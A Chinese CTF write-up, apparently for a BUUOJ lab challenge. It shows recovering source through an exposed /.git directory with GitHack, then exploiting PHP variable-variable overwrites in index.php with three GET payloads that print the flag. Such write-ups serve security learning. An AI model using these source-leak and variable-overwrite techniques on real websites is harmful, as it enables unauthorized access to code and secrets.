扫描之后发现是/.git源码泄露
python GitHack.py http://56ad87c1-d8fb-463d-9480-f0fbee5176a0.node5.buuoj.cn:81/.git/
之后出现源码查看index.php
<?php
// 包含外部文件 'flag.php',可能包含变量 $flag
include 'flag.php';
// 初始化三个变量
$yds = "dog"; // $yds 被设置为 "dog"
$is = "cat"; // $is 被设置为 "cat"
$handsome = 'yds'; // $handsome 被设置为字符串 'yds'
// 遍历 $_POST 数组,将每个键值对赋值给动态生成的变量
foreach($_POST as $x => $y){
$$x = $y; // 例如,如果 $_POST 包含 'foo' => 'bar',则生成 $foo = 'bar'
}
// 遍历 $_GET 数组,将每个键值对赋值给动态生成的变量
foreach($_GET as $x => $y){
$$x = $$y; // 例如,如果 $_GET 包含 'foo' => 'bar',则生成 $foo = $bar 的值
}
// 再次遍历 $_GET 数组,检查特定条件
foreach($_GET as $x => $y){
// 如果 $_GET['flag'] 的值等于当前键名且键名不为 'flag'
if($_GET['flag'] === $x && $x !== 'flag'){
// 输出 $handsome 的值并终止脚本执行
exit($handsome);
}
}
// 检查是否存在 $_GET['flag'] 或 $_POST['flag']
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
// 如果这两个参数都没有被设置,输出 $yds 的值并终止脚本执行
exit($yds);
}
// 检查 $_POST['flag'] 或 $_GET['flag'] 是否等于字符串 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
// 如果其中一个等于 'flag',输出 $is 的值并终止脚本执行
exit($is);
}
// 最后输出变量 $flag 的值
echo "the flag is: ".$flag;
?>
我们可以利用下面三个exit中的其中一个来输出flag
方法一覆盖$handsome
GET:?handsome=flag&flag=x&x=flag
handsome=flag是把$handsome=flag的值
handsome=flag经过
foreach($_GET as $x => $y){
$$x = $$y;
}
//变为$handsome=$flag
然后我们要满足
$_GET['flag'] === $x && $x !== 'flag'
//即让x和flag等于flag的值而不等于flag
所以就是flag=x&x=flag
方法二覆盖$yds
GET:?yds=flag
不做过多解释
方法三覆盖$is
GET:?is=flag&flag=flag
不做过多解释